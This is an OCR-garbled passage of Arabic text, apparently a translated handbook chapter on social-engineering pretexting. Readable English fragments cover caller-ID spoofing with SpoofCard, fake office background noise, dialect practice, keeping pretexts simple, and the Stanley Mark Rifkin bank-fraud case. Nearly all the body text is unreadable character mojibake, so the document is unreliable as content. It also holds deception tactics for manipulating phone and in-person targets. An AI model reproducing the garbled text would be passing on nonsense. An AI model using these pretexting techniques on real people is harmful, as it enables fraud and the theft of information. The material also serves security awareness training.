A qVi^ ^ CjLjJjuu* UjJ .^-^ jJl J 4 *g L-Laiai ^^ic A-Ujoij L^jb (jjaiilU <9j3I jl j^ilj jl j-o" !cJj^ ' S^f u 11 JJ^^I 

till ^illj (j-aLaJl c^^Jl ^jUl ^l^jj jib jjjxAj (JjjUI! cJ*^J <alVlj <9j3I lgjl£ (<iajixJl 4i53! jx» ^jjjJ l^Jl 

cAijj l^-k. Will <Lj tl^J L^.Ijj» Clu£ CjIc jjJa j^q jc lLlj lail 4 > <^jfi 

jl J& (j-^jj ajjI^I .(cognitive dissonance) c^'j^V^ J^^ 1 '^J^ Oj^ Jl*^ 1957 ^ 

j-<Jl jjlJ ^JjojUj ^a^C J j^. j Aic A > <al ^ \l tillj^VI CjLljaiLaii j£ j t^jljl j ^ jlJ > nl ill I Jc jj^^Jl Jj^ ^J^l (JjjUII 

t^lkll oAic. jjjj ^<il (j^>^ >'MI Aic <jJajlxl<i CjIV^t ^ jl CIjIaL^jI J j^. j ^^-ist-^J jl) jallill Jc ^.LJakll e- (tS j5i j^^j ^illl j 

SoM-sW A~s^\\ j <Lj]al| SUaJt A j^oauuJl jl£ lili .(l(g in UuS laLaajl l^ltaJ CjI.^t j dlUUJVI ^Uj JAiij J jl^J 111 j 

(J^xi a! a i hjV I (J^J (J^uiJ til jLuoll ^)J*J ^.Aasu (j^akjuoll ijAic 4 jl^jjJal j-d j^^ill A U qj LaJ &^)i^J j-« ^ cLlkAxi jli lijj 

j-dlaajj jlA^ll a Al <alxl<Jl djLd j1s«-a3I A a la jkAxJl 6 ^>^^ ^ J N 1 ^ J jixuJl jxi jil _ jja jc L_flSjJJ (_^l jaLiill 

jl til jLuj jl 4_j^)Iai3l ;4_ill AjjouIU Al dL^j! £a ^U^i L *° J 1 (j^akjuj L_fljc lil t^^kl ojUxj , j±a 

<^JJ ^ W^j (j^>^ ui ^_a^)ia jxi jll jxi J j (jlajliflj Aj^laill l^iA a! ^ udVI C—iAaJ jl (j^>^ >*Ml I^J oL^jVI 

• jallill 6 j3 Jc jJjJ ^ll cJ-^l J*ll j* j> n > n jj!i£^ll j^ij , jflLiill j-d ^alaall j^j 

.6jalIL<JI CjI^IslaII j^c 
ii^l J£ 4^1 
; jallill 11a ^^Ic r 1 - ball (jjia Cj^j 4jI j^i ^aJ 
.ajal iull CjI^Is^I 4_iaaI j>» (Jjlilll 
.S jiUUI cillj Jjijj ^31 UUuaijl jj^VI CjI^JI AiUbl - 

,<Luj1 iLq jjc. ^XJ ^al L^JI L— j SjSLiIaII Clal ijja idll JJJ*J 

uj^ ^j^j Pretext ^ ^511 ^ Pretext ^ ^ jl*-JI ^1,^ U <lL^VI ^.v^ ^ti j^j c aj£ 

£jJaJj g.l^^'sll ^a^lc-VI ^1 ji\ (J^ ^J^J ^Llill I^A _^)SLlill ^Ludjj ^Jl I^A j IjjUIj <9J 

^| Jjajj 6 jaljjll j* A^jUll jcLauJl J jjl jlill (_3jq\lj ^ajlj tilli ^SU J^ll j-« 6L_fl^Jl til jLol Jc 3^.1 J^ll £>i& J^J^ .^^^1 

.ciL ^UJI Pretext lU^I JL^I 

Jl jc L^^JI AjlSjJJ jl j^-AJ Lft .SjAIjIaI! tillj (Jj^J C-UaJ \ a\ a mj| j5^VI CjI <ill t h - jl jA c*Uil ^ L galll (Jjiall c^^j 

<j| <al*J} ^ f t*L <^UJI Pretext 

.tiUoll t . ilaJ Jill djlVq'W a\\ j-d (_^) (jjij Jll j At Jl 

jj£l 11a jl jxi ^C.^)ll Jc .<Luj1 iLo JJC. ^xj ^al l^-jl <>— U2kJ 6jaLlL<Jl CjI^VW a\\ JjllxJ IjJajl ^UJl ^^cl ^I^VI (jjj^i^ll j^J 6 JL^JI AjlaAsJ 

(j^aLkll Pretext ^ L a ^&^ 6 j j 1 ^ ( ♦ 1 j^-JI j* .I^ALqj c_ u£ lil ojl^ \ $ ^lj tUxj^j l*iii*j 

l-luj1 iL V liAj JoVl s-^all jj^j jl jAj "Pretext" *J jL <Kiu» <jJ dul£ dii^ t jLoj l^j^ l £ j^-j^l ^ 
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.Val^Vl" Aial jlJI Cjt^rtlt CjjI S jjSSII CjUI j^VIj <A> o^j < s jaUlft jUjcVI ^ j*^ uj^ 

4 > <al ^ j tCllUl^a.VI j '^-9Sl J-<* (J^^A 3 CP" Cjlaalstxi £x* Aj prGtCXt Slil^-a A j£ <n ^cl <nXVI (jjjaj^_xJl t^jLuill JtlxJl JILg LaLaJ 

.Pretext Jl t> f^j** 

.jjiLJ ajc! dl^VI ^LojI^JI CTF s-^ ls^I (i^j^^ i> .18 uj^P j ^ ^JiaVI ^> 

SjLuJ ^aSj jA Li" 6<Jlxi (jlaljjcl £xi (jlajC Laaic -C5 la.laJl t jxJl (Pretext) ^SJ^ I J^>J^1jujI O^l (J^LuiL&ll (jxi ajAxll LaALuj 
^>aLJI ^^cLaHa-VI (jjjaj^-xJl (JfcJ^ jl LI J^> <ilLal V Lajj ^ J - gaC* ^Jj aJ jjuj ^)ALi J^*J1 ^^cLaHa-VI ^J" 1^ all "?(j^aLaJl L_ala jxJ| 

^laaJjaiL jl L_iJjjjVI (^^Jc CjAa. j ^^jll L_ala jxJl SjLuj j£i 4 lal > n n (jjxajL C >% n^> .L-fla^Jl SliLa-xi ^ SjaLlxJl L_jlaa!ix-<Jl tilJj t . lV>J>n 

> V^ll CjlAt * a_x^I j* ^ILilLj tdjUi tills A->Lao UJ^ cl^ ^ <— i^ll g-^LsS) C5 ic- (jjjjta I jjIS ^-jI lsj^-I ^j^ 3 

tiL (j-aLaJl jLoixJl jLikl .C^jjjjll lW -l^Sfl a £ aJ l^lj (jl (jl t . i-vj (J^lj '1-^- ^ ja-jJoiJ ^ 1£ ui *\ Ajj&ll A_Jja.VI <^A ialaill oaA 

(Practice Dialects or Expressions) ^Vim^ t j) J_ 

aa 4 gfo o <^L/<^L ^ISjII ^Lu tAja j^u ^ill jlSJI ^ hUi^l .Ac i^^lj/^lj V <^W^j AilLL^ CjU^L ^^l£3l ^lsu 

^jjj^jj^^j X70 (j) J L - * <^>^VI (J^*^ J ^ J 1 ^^ djlx^n^ll <>Jal<i ^ A-iJjj^j ftjj^ ^ du£ LdAjc .CjS jll (j^asu (j^xlaaj 
^LdJjajl (jl J jSI (jl ^iLlujI (j^lj ^al a 1 ^3 AjjI - ^^Nfi Clljl^ lil I^IHq dluilj .A-ijUaJ^J 4i^L (JjjUII ^LaJjaiVl (jjljaflJ 

^ *\\~\\ (Jjj.V^ ^ (jj^J ^ ciljl ^^>^-a1 jl CjI »JJrtll cJ^- C5^>^^l L>^ cJ^^I ^1 J ^ >^ (jj <J J^J djUjU^^VI (jl (j-« fG-J^ 

(jJluuJl .cilli <J jl^J 6(JjoLoj j^J ^^ic (jj^J (jl tilj£ V i— lj£ lilj tl jTjjjn (jj^J (jl cilj£ V lil tA-Jlld A_^ill cJ*-?^ (jl 

(j£J 6 3^J (jl JJ > >n j£ (JIaaII _ JJj> *ajll jjJ l^J ^J-J ^ ^ JJ^a ^!^ll ^aixjl Ajjjj^J diljjJ j dj jj^II (jJJJ^o (jj^Vlmj 

.( ■ LaJI ^ jjJjuj£juj ^aiiill l^. AjuLd A_ijUaJjJ A-^gJ JJ^^ ^— uijjC- J^-^l •^ J *l .A^lil ^ia« o ^ UjUaJjJ j,jjj V AiU .A_ill ^LdloaVI ^C- 

^cUu^-VI (jjjuj li^ <ill da* a (jV .^x»!)lil tgj (jj>»jlj ^^lill jlj^!>l! CjL^III jl CjU^III ^ ^jIxjI ^ - o (jjj^j (jjjjAxj (jJiuuJI aja* a 

JiLd tA^ill CjUjujIjujI JSVI c _ 5 1c ^JjuII ^^ic til^cLoaJ (jl (j^J ^^ill dljjjulL<Jl ^VjAxII t^llj^i tA^ill ^jLlj! (jjjjAxi (jj£L»j V 

c> j^l ^j 1 ^ ^ ^ lJu<A\ 11a (jl (> ft. jll ^ .Evangeline Machlin ^il^H Dialects for the Stage 

;*6jjj£1I ^jU^ill 

^ La U116 Dialects for the Stage .U^' 61^1*15 ji ^jjj ^1 a^JII ^ jjjialj-all aJIaI jjii*JI 

,1^-ill ^LgJjuj!)II diL^ill (jC Aldl^ Ajj jj^ aJsjjujI 
>L j-aauuill liA JL» A^JJI AijlkxJ tSUi j tdiJ^Jl li^l (ilLa . .n ^ Cj^jII J jU. 
^i^j^Jj (3^-V dlSj l^ill ^LdJjujVI (j-« (j^JJ (_s^ ^^-111 6, ^A ^J^aJJ c*LiiijJ J^joajlU ^3 tUi ^ ^1 Aiilllj ^>xjujj (jl Asu 

.*u*kVi 

# tilj^)juj ^xi O^jA^JI A til oiA AjujjUui ^aJ (j-d j jJjljjjoJ ^LudjU ^a 
.l^j jS^j^jj cilia g 1 (jjljijj (JjjUII (jl^ lil U» Ai^st-xJ A^lxll (j^UiVI cilj^ g j (jjJiaJJ 
AjujjUui J ^jjj liA .l^JC ^I^jI L_fl jjuj ^^lill J-^^ll (J^H ^-J^ .liixJl (jxi Ail Aa.1 Ui ui Ulj tCjU£lllj CjIj^-III (jxi ^ - gaaJ V .JAc cilUA 
AjujAj^JI jjjjuj^.UJI A-a.j*j (^^ic gaJ (jl ^^ic (ilAcLujJ (jl ^jl - gajll (j^J .A_ixjjia jj£I g 1 {J*aJ jt^l ^^-Sc <J jj^^Jlj I^jVIjS 

e (_^^kl A^gJ ^IVsunl ^gk (jflld J^VI ^^ic ^Jj^aJ jl AjC-LgI^VI 
»1 > >>'qj ^3 .lijS djAaJ (jl \ $ j£ l^jfl Jaxj ^^jII AillaixJl ^AaJLujJ ^^jll CjIjjJxjII ^1,^1 mli 6(_^^kl A-a^-L ^Klll laJ > >n V I— u£ jl (^5^ 
A3 (jl^xj ^1 jl ;^jIj^j1I j£j>Jl jl pLudxll (Jlxi (jl^-<» ^ .(jiaxJl ^ - ; ^ A^lc S j iJaLa^ (JjjUII ^IxjJjujVI ^ d)S jll (J^asu 

.Ajjujjj^)!! CjLoKJ! jl CjIjUxII ^1 < . u£ ^jc ^LujujVLj Js jj*^ i^jjj .jj-^Vj (JjjUII (j>» CjIc j^^ q a_js a^j 
(Using the Phone Should Not Reduce the Effort for the SE) ^U^Vl ^ (> J% Vl uiaj (Ja^t C 

V U c fljl^Jt <jl£ ^^jJaUJl ^ UiJJJ t^^cLdla.VI (jjjli^-xJl "Ajj^aai uj" L_jj| ja. jj£I C5 J l C Sjjnjuill dljjjjVI (Jl^ tdjJ^VI dil jluJl ^ 
L_flj*l^Jl ^Ia^JjujI (jl (jj^. ^ -^-?>ll jl A-fiUall (jjstjJaJ V (jJC-Lal^V! (jj>>i,V^ a\\ ^ AjAslSI 6<J j^ill I^A t ■ UjujJ .Ajc.Ldla.VI A uaaj^Jl (jxi l^?^ 
AJ jAixJl J j^ll j (^c-LalaVI (jjjaj^-xJl CjI jj! ^ jSI (j-d lAal j Jl JJ V i fljlgJl (jl jlgJaV Ua ^ jjJa jxJl laA .l^a.Laj| (jSaj (jl (j^J 

.(jVI CjjjjjVI J j^. jl I jiaJ j galjj VI VJ *; V A^laajjujl 
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I* j 1*^*^1 (ililc t . <j| .(J&^l J^£J CLaJjJjVI (j^ ( ; V' *j 6 J^^ t all^J .jS t fljlgJl ^a ^^C-Lftl^Vl ^J" all lalxkj .Hc 

t-<l ^ ^ <jojjL<ixJI ^ jl>ji.rt (jjoaj (j-G ^aVIj ^CjU jIslxJI ^-<^ AjLftCj '"^ ill l£ J^ * ^ ^ ^ c£ jl ju *^l t*** 3 ^ 

.cikiU Jo ^jlil! ^Ui^VI ^oj^JI 

^.i* ^1 Jl g-la^t^Vl jl aIjUJIj JUaj'VI J jl^i .dj|^)Lg-xil^ J^a jl <jujjU*3 <c ^ tdb^l jj£j jb <Ua ^ j£2 ^3 lit 

CjS j ^ (_£^>aJ 6J-a A L* nil ^aJ (j-a j C fljlgJl Jc« L— u£ j] U£ ciLAlj (Jj^ ml j& <jujjUa3 (_£^>^ ^ J 3 .W^ Jc« (J JJ^^JI t^lK dJ 

^jjj^i^xJl ^ajujJ L_flj*lg_ll .liL (j^aUJl L_fl^Jl L_jU (J ja*.,j] (J JaJl ^J^l (j* ^lj ^ <j^U. (PfCtCXt) ^HLP ^-^J-^ L_flj*lg_ll ^I^JjojI 

( . v& a J d±K J^W jfcUajl Cy* j ^ cJj^aiil jl dj^jl bl ; JULoJI cJjjjuj Jc- .Ujaj* £<^-^ c£> j Sl^U^" ^IjaI) (^c-Ul^VI 
Thriving Office j* ^j^l ^ ^IjSjI/^I. vVuh I <LLouj j£*j 1 l^ hvi m l J jUj ^1 j (Pretext) ^ 4iU^V ^^>*A . 1 ^ ^ 
chat ^UjS CD <>^" "Very Busy" "Busy" ^ ■ ( www.thrivingoffice.com/) 

jV http://www. spoofcard.com/) SpoofCard cjU^ ^-Ao*^ J^^l <^ <al^aVU 

JUI J jlla ^1 (j-d ^^xJI 4^ j Sl£La^ aj CjU^kJl 

> <aaJLujj ^ill ^aJI j CjS jll <;ikxj (jl ( . tl^lilcla ^iij ^3 j <iila3l SbVI < ajI^JI (jV -L5 r.Lal^l (Jjj^-^ 

(The Simpler the Pretext, the Better the Chance of Success) o^j^ ^ 'Pretext ^ ^at^u cjj) j ui£ J_ 
lil ^1 D^ixJI Jj^Uill (> jj^II I^jJ (Pretext) lij V (jl I^JI "J^l tSlti jl£ UK tlW jl£ UK" 

^cUaJ ^JaJjoiJ (Jj > <a1 9J j t^jll^Jlj 6 A - ajll Ja jixk Jc JalL^Jl (j^J < ^-VI <jojA^J| JjaiS C^^J^ cJj L ^ 6 ^ U^*^ ^ 

m Aj&\lx^jsl\ Jc 

^IS jll JjIjUL jcLSuJ! <a^lc J ^Ijj l£J j ^ l ^ g^l^aJI JU^» J vli^Ult j jjg c ^£j r i^VI (jjaiill ^3lc t(jU£jj J jj 

: JjL JlSJl Ija ^ "(Lies That Fail) ^311 ^Vl" u1>M 1993 ^ ^ VU- 

^jJaj ^aJJ ^aJ (j-«J ' J^J (3f jaUi J^^j UJ^ U^lc ^^i^. . laiaJlj (jjj-<uU ;UiU^I 4-1^.1 jll -la II ^I^C-V dlS jll ^ jJ V Ujb) 

t . illaj 5J1ojVI ^ jjI Uj U£i (jj^ V L_iil£Jl (jli ^AjUxj <jil£Jl Ja jJaaJl 

UaIc L5 la k j .(illi L^^lk <JUi Ja jixk (jj^J (jl 1 g K a\ lJ* jjla J CjIjjjaj CjI^.V tUal£ <jj^ V ^.l£ill C5 j^. .AILU.I j^jj 

tillil tag uiijL ILUi lA jUdjl ^^jl! Ja jixkJl J^ii J <Jjt_>^ I (jAj|^£Jl (J^axjfl tJa jiaaJl jJJxl] c_fl jj^all L-Lai^ L_lli£Jl jlajJaJ V 

cjSjII !1a jfljj j c-ijilSVl (jlaJ c^a jll cilUA JjSj ^ Ujb -ol "jll J«-4j jl jjolj I^jV, aJ^\ V S^j^JI 5ilaiVl 

J ja. J^jII Jl liA j c . illaj ^jll ^UlaaVI ^ jll AjU£3I 4^ Uj U£i (jj^J (jl ^jil^ll jli c_Jjil£VI (J^axJ jjJa jl 

*lsu (j^-dxJl (jxi L_fl jja (J 4jJ^>^ **— j I^*-^ djI^V cl-iSlS (jj^J (jl l>^-3 ^l^^Jlj ^jujJJ (jl£ (jl (_5^ .^^>ll ^c-^juj (j-d tin Uxi <jU.VI 

UL5dj| ^1 c_jji\£VI joAj Jl cs^jj jl (<L (jJall ^lj Aj^USU) <LU djUU>l ^ l^iklJ ^1 t_ajilSVl o«j ±LJL ^ 

> ^ (jj^J ^3 (jjjil£il (J^axJ (jli ,U L_fljja A a>JJJ I^jLouI ^^jII L_Jjil^VI (J^asu Jj}*J Jl L_jil£Jl JajJaJ ^aJ (jl ^^JaJtii) 

J^l Pretext ^ UK Ujb J jU .Ja^ Pretext ^ uj^ cJ^Vl ^> bU3 ^ jjja jj 1^ SjjUll a ^jja jj* 

(jx» (jj^J (jl ( ; i^-j .UiLujj UuJia (jj^J (jl Pretext ^ .4-! j(g > uj 1 g a u& Jl (_^^JJ iajjaij Uaa*. Jal (jl^ UK a \ § *\ laJLujI .JJJJ 

AiUkaVU .U^xi (jj^J (jl Pretext ^1 1^ J ILUj o ^L.^ti Ja JaaJl jl (JjUaJl (jli 'UxJfla <J ^Jjj CllK bli tDj^ilj (jl cJ^juJI 

<lUk ^a^klaaJ L^^JI <J*j^j* j j-AJJ (jl 4 > gaall ^joaJ ^UaJjoull Pretext ^ > ^»ll Jjj^alijll Jc JaliaJl U^jI ^-a3I (j-d t^U^J! J^^J Jl 

.(jjjUll 6 JaJ J (Jjill cJ*Ji^ ^^l SjJaj^all Jjj^alijll J^ij tp-^^ cJ^ J 6<L*aLa Pretext ^ (J' J J^"^ ^ ■ L " J ^ J^^^ 

(jlasu (Jaj^. jA (jJC^lja-xJl (JU^)3Ij (jjjj(g Mi^ll yjj^J^ *M ^ ^ laJLuJJ ^jUj L_J jLojI jA j ^UlA^U ^)jlxj ^ JJ^a J>» U^ajl Uk ^^■l^ (J -0 

^l ptkkVl ^l jjl ^ Ijia. (j£ .JjixJl J ^il jjjxAj (JjjUII Jxj>j ^UajkVl c>a*Jj t'^ljj U Jc; ^1 V" (jl j& jSall .l^ftC pllajkVl 

j^jj aj^U^JI Jxj>j V t^lli (jil j ^Pretext ^ Jj \:'^^l < (jl u^JI c> tikSjll b^ u>n diK bj l^b^nJ jjij* jl AAc 

.Iai^w J-osu j tlijAj^aj jiKI Pretext ^ ci*^ Ju^UM! <Si j <JaUull j^ii .^uxjfla jiKI 
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UiUtyL^ip Jfr^j <jl Pretext Jl 4- 

Ja JaaJI a I laJL a I < - Lla .(J^aill ^Ijaujml (JjULo <jJaJ^xll Ja JaaJI ^tjaJLuit Jc ^£ Jaj Jl ^J*^ ^J^* J£ J Pretext Jl cJ*^ 

_Cj jjjjl£ 4jc1 ala I ^jjj^i^xJl (J*-aJ L_fl jjuj ^ ^ a (j^aj jl jjjLLluj ^1 laJLujI Lai ;<j^)aJl (jxa a^-VI (J" all LojIj ^ajujJ 4_jJaJ^xll 

jl <JIjjuj (j.n'S ui tills ( . lllaJ b^A <J£ J lij .Lij^aai ui ^^cLua/^! (Jjj V^ all jll (J^>> *akll jl jj^Lixll ^I^JjojI ^j) J Ljajl -^J^ ^J' 
jJJ^ll ^±SalLj .tiljjSlAj^ax J-a^ <— A jjuj '^5^ 4-^ ^ (jl llA^ *^ ^—^l J '(j^*^ JJ^V^l J e-lill jl i jJ^illl cilia t . lllaJJ <jUj (J*^ 

J^Jl J J^. J ^aA*J UfjoJ jl Ajla/^l J ja. J (jC (j£l j tftJaJ J A^lj J 4-Aa/^l J J (jC (JJdJ tillil Jj-ftlSjJ ^j) <Jj3 (jjjSij (JjjUll (jxi 

Jc <J jj^aJL J I ajujI" ;<J jSI lal i dJJ LI .iS^ (j^j ^aJ dlLa jIslaII (jx» <*-la§ (jC ( " llj i u S,laJj 4_l£jLfc <Lolla^<» J 4<JLL<Jl J-iJjuJ Jc 
L-lLudaJ L_lilall jaJ ^g-lllaJLJ ^jl ^jxa ( . lllaJ (jl (j^-aJ cJ^ ^ (j* 6 <J^V "^J^^l J^£J J -0 ^ lS*-^-Ij J^l ^ *^ jl ^aJ /'tilli 

?XYZ 

^Ajjip (JjSj l$J J-AxJ) (illS aj ^12) J}jla2l S jji-ua Cj^laa Shi 

Pretext Jl uW^ 1 1> ^ 6 ^ ^ .(Don't think about how you feel) V - 

c^l^K jl t^nj^ax]! j L_S jaJU t . UjujJJ jl (j^J j t^tJ j-<Jl I3a AiSalxll AiL-bU I^jj c_fl jjoj li^ jli ^j| jl! jj^iilb lil 
till L-UjaLj j) Ljajl (j^J Jll j tSjlSVI J ialjaVI (jSl j jaJl jl ^iJj^axJl <^l jJ V ^ i(Jj*>\ J-d , JJoill Jl l^SS j 

tolpJI J ^ jjill <jj^ii3l £>i& 4 JUJI ^nVii .(Don't take yourself too seriously) ^1 ^ V 

Jo tilauJall Jc Ij^lS j;iC. du£ lil (j^lj .SjJaa. Ai^j lli tdjli ^3^! jj;^^ .(^cLal^VI ^11 Jc ^jIj l!^^ cSf^j ^-^J 

Jc j-oVI i^U ^J^l V ^1 .(Jjjiall J ajJxjL^a ^ lU^-*^I J *nr> jl U^lA (jj^J (jl Lftj Jl li^ <^jJ ^Sfl tt^Sjl laav) 

J t>\ uaaJ L— u£ ( . UjujJ (jl 1 i£ jll j Ja jXjJall ^Laul Jl (_^^JJ I^A <jl£ 6(J^lai <^ (J^^H l^j ttiffic J .^1 j-<Jl J^f^ 

.Ajt-G J^lsdl Jc^ SjjSSI ciL^ l\l C^^^ C> ^ cAiiSall Jjujill .U jjc. (jxi J&l ciiUa. 

."^UJI Jl Ja.i j tsL>i jja j ja.1" 4^ 11a .(Learn to identify what is relevant) ^i 4 ^ Jj^J 

(jxi J^lj ^J^JI ^ ^1 (J^H ( ; ^3 ^UjVI Jj <LLoJI CjI JaaJl ^l^aJLajlj 4JaaJl ^3 ^^cLua^Vl (Jjj <JI 

AjuoaJI aJl! 5-1 jjoj 4til3 ja* <L^aJI djli CjUi jl*.*]! j ^1 j^ll Jc ^^xiil! J ^jj^ .Pretext Jl ( ; 

m ^ j^Jl J CAjd jIx-aII l-jU nml j i(taa>V AJc ^ISjj jjoj) <ajaJ| CjljjUxllI jl 4<a Jal<Jl CjUJ^II 4c 
AaJ V J^ ^ ^(S ^ J-^^JI (jW J^*-^ 1 J^ J J 1 ^^Jl J^J^J ^ J] ^ * 1 ^ J ^ ^•^C I jJj^J (jl ^ roJ (JjjUII (jl tiljbjcl J ^jJa 

L_fl jjoj (j-«J 6 c3^J ^^^1 c^l ^^1 UJ 1 ^ . L -^'^JI ^Jj^ ^ Jj ^^■nVl Jc- (j^a^a.1 .(JjjUII (JA ^^Ij J ^ ^C.^-^ Ulil 

.^•LaJll J cilj lc>l i ha] LjUjuj CIjjlajuj ^3 (jj^ 6<juoij dji jll Jj 1,1a. A aqa jll (Jj> gal 9jS1 lajjlj 

Jl ^-Uj jl Jjjji Jl ^^jj jl ^Loj jUuJI J^Lk qa % jiaJI c_jLau£l .(seek to gain experience) SjAil ljU^V ^5*^21 

^Uajjoull CjU^la^JI .Ajjic (jj^j (jl (jSlj j^ic-VI J l^ia (jj-v ^U^>iJlj ^laij^aVlj aIjUJI ^a 4jjixJI 4jujjUuJI .Pretext 

Ujic j^iaj (jl Jc s j ^all til^Hftl .pretexting j-°VI (3l*^j U»jjx. Ul*ll jJI c ^cUua.VI j-^^ <ill jj£Ii11j Ja*j jl 1 ^ ^ sj Jallill o ja 
(Provide a Logical Conclusion or Follow-through for the Target) <-^l c> AxjUaII jl ^tiul l jrUli^iVI j^jj i- 

Jc ^UjoiVI (J^asu t . u£ j tiAt ^^'a\ 4L_inia3l Jl L— UA J (ilil jl cJ^^ (*^^l t , ^ <J^ (jl UJ-^J^ (JjjUII (JJj^J V jl (J-J-^ 

Aju\\ % JaiJl ^ JUL jl Jjjj ^Ulli tAlLaJl jUa.Vl J Ja. .V jjiL jjaJ (jl liA " J^Lk cill jl .1 in^" |cill JlSj iAl laJaa^Q 

# Jxij liLdj 

Jaai ^-UaJ j <1 Cluai La Jc i—iL^aa^ J3 du£ jl tUi $.1 ja^j ikU V jl iku (jl <1 ^-UaJ J3 a flJ^Jl SjJUlx He 6 c _^cUua h VI (Jjj V^ ^ 
> fllfrll Ij^J 5jl9 jIaII CjI j^ill ^LdJ AjuIIaII J^Lk (jxi jl ^UILujI c flJ^Jl pUacj j Jail Ix^q .SjJIslaII 

(j-aj ^^iill ^Cjll (J^-J^ ^ ^aJala Jj t^lLja CjJa.j lil !>l!L<» cdjl^ia. jj ^1 (jjJj (J^^l Jl ^ ' " JJ J Ijl J^ (j^aaJj 1 lula L_ n£ jl Lo£ LdLdJ 
^CjJa. liLd (J^Loijj ^LdaJI <^3jlj (jl a & aJ Ij^a tdjUUill SJcIS ^LoiiLojI Jsu Ja^V ^(^^i ^1 <J j£j (jl (jjJ dlab^a. ^1 
^jjjH^xJI ^jjSJj jLdaJjojV (_^ jjiak ^y*\ ^1 ja^VI (jlS lit ,4jIaJ Axj ^1 J^-l ilaJV L_flJ^ll Jc <J jj^aJl jA ^^^cUua^VI ^j" <ill <J«j^a ^ j^ll 

.ciLij Jc jjjll Ija ia^b (jl jjjj ja t*Lla <ua>VI 
(jjj.v^ Jaxj (jl (j^-AJ Jj^aill Ija J 6jj£i-<JI c*Uj (j£J j ^Pretext Jl u^V >l J^^JI ^3^1 ^ 'C^-^ ^—^ j J 

Pretext Jl L^^l ^L^VI 
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4^jj±a Pretext ^ ^ ^uyi ^i^J (j£*j < «j< "? jVI J*ij liU t^LJI £>i& a£1£ L^jjui jSI tU>.^" ^ULailo jjSs 

?o j^.ja3I ^ullill Jc <J gaaJlj ^ ai J jl t fljlgJl Jc La] J-gju (jl (j^J jll A '^J^ Nl ^ * tl-li^ 

Pretext 

ciiL&c* jll Pretext ^ I u^f-^V^ uj" 1 ^ ^ J^ ^^l^U Pretext Ai^xJ 

Stanley Mark Rifkin 4. 
.^O^ J ^j^' ls^- cjUL^ <> <uuJ Jajjjl jS1 Stanley Mark Rifkin 

http://www.social-engineer.org/wiki/archives/Hackers/hackers-Mark-Ri 

6^.^.1 ^a^J jll A£jjuo3I A-iK ja ^.1 (jl£ ,0 jjt > AjSjui (j^ jj jJJ^ti CjI jLulLoj! a£jjoi jJ-li (jt£ j JJ jjj^lU (Jjj (JjSkflJj (jl£ 

lS^ <j*jM lkj* J J^ 3 55 c> (Security Pacific National) uj^ .Security Pacific ^ J j^j^^^ 

.^I^jVIj l_l^juJIj (jj-ajL (jjill e>y^xl\ jjjj^jj ^a j£j diljjyal^j ^^-iixJl (Jjjj^j (j£b s-bj dili <jjjIj^. .^-L^-jllj CiijljaJl AjlSS 

U' UJ^ 'LojAjoi^ J-a^j U' UJ-^ 6 U^^U a J*^J^ 10.2 J^ £^tal^VI ^ t tillil ;4iljlkl (j^-aJ V ^ b^ll liA (jl j^jj 

?(J nl > 0 (jl J-^J 6 1^.1 J IjV (JJ^J 

ia^a jn-M j U-ajJ l& JJ*J ^aJJ jll j A>u3j ^1 j£l aIa^IjuAj ^aJJ Jjj^jll Cjl ^JJj^j/CjU jiVI (jl ^— ^ .4_L<il L_fljj^>J3 dj^Jj^jll I— ib.nLlui di^J 
.(J j^.JIj j;iC. iaaa l^ik^J (jl j Alxil 6^>a^. ^ iajL^Jl ^glc* 6^J^aJl ^1 J^Vl £>i& ^J^a J ^ali C— Ll^ .^^.^ (jjA^JJLxJl (j;iila 

ikl .jj ^ j*i 'Security Pacific u^j j'J '1978 ^ ^ 

^aJJ L— Ll^ Ai^xJl ^1 <L^)]a ^-^-^ C-Lj^Ji (jxi (j£-dJ 6 J jj C qjjnl L_jLai .tiliJl Cj!>Ijj^j3I AijC- ^flJ dljl^ L— tj) ^ jl>.q<ft ,H 

.til j£joJ! ftjljj (jj^ (jl^Jl ^3jJ J j-*^^ laiaJ (jj^flJj ^alfl . lajl ^11 Jc ^a jJl L^J^ ^ j/j^ 

j^j Jj^ll ^aJjaiajll J L_ala j 4(jjoijlA C-I^-J Ajifljlfc A a\\^a JUl AijC- J (iliJl ^ 6 ^J^ 

^ -( Jii3| ^Jjj^j/(jjiU Aj^aLkJl AjjjoJ! ^alijVI ^JJ^J^ J ^liSjjl ClbaJJJ A^jjuj J L-ib (Jl J-^VI (j>» cJ^-^^ 

jA (j-a (jjS^sU V (iliJl Jjjjaui .(iljjjj^ tilij Jl Jl J>»VI JliJ (ilnll ^alfl ^aJ (j>»J 'Jilll 4)\aC* L_fl jlUJl (jC L^.jLk j^JJ Jc Ujjuj 

10.2 ASj^J tiliJlj (j-aliJl AjLa^J! jaj lm\ <j\ j t(jj£ijj JjHuj AliiaJl J (j\£ L_U^ (jjudjU tiljUi ^Ujaij Jc (3^^ lS^-j^^ I^a 

;(JxiJ (jl£ Jjj^alij J j^^iil .Pretext ^ J^ j^j^ ^ 6 u*^^ '^-^ w ^ u^-^ ^ j/ ;< ^ jjjl \u>ill I1a 

.Ai^iJI tilii J <jj£3 cil /Ml jjI !1£3 j UjI j jjfL jl aJ^ jl£ 

jj o^lcl ( . lllaJ LdHc IgJjj^alij Jib ^b^l ^-C-^ Uilic dili <j^a3 (jj^J (jl AJc (jl£ 

. jb Jll ^JIojVI (jali ^ c_jUil3 J^j Uj Ujk; (jj£j (jl aAc jl£ 

.til j£Jdll jib VV Ajli^il Aj3 Iaj (JjJjoj j^J Jc Uiajl (jj^J (jl AJc (jl£ 

IjAjI 6 jSjc (jjill (JjjUII (jl^ t^ilc (jiaj^l UiHc . jj^fllll j!>Lk (j>» Jjj^aiiiH (j-<i j^s ^ - gaSl j <aAj l^J ^ Pretext ^ 6 ^ 
^Lal (jl£ Uilic .tilliA <j <Jc (jl£ Ui ^jsu (jl£ lLli^ _l^J inin^ ^ j 6 *Loj jjA^ lLli^ .6^1^. Pretext ^ 6 ^ ^->>>1 jll (j-<i 

.1^. Jc^ Ij^la (jl£ ^UjiJl 

^li .4il^jjaj|j <LaljAj dula <^ j^JI o^lj 6<joiij ^Uaill ^1 i^ILujI i j^.1 tilij l-aI^jjujI I^j ^j^- u^^U 6<jli£3l Loj <J&i>» 

Pretext ^ j^^^ ^Ixjj (jl "^jjoJI <J^.j3!" j& ^jUi (jl (j>» ^t* jll Jc .^^LaJVI (j^JI J *--jI jIuj J^ ^> 1 

.6^1^. 4_^a ^.UJ Ai jlUi d±3l£ Jll ^LloiVI ^1.^1 ml j 1^ a injuij l^jl hq'i^l _4*u ^ o^lja (j^ 

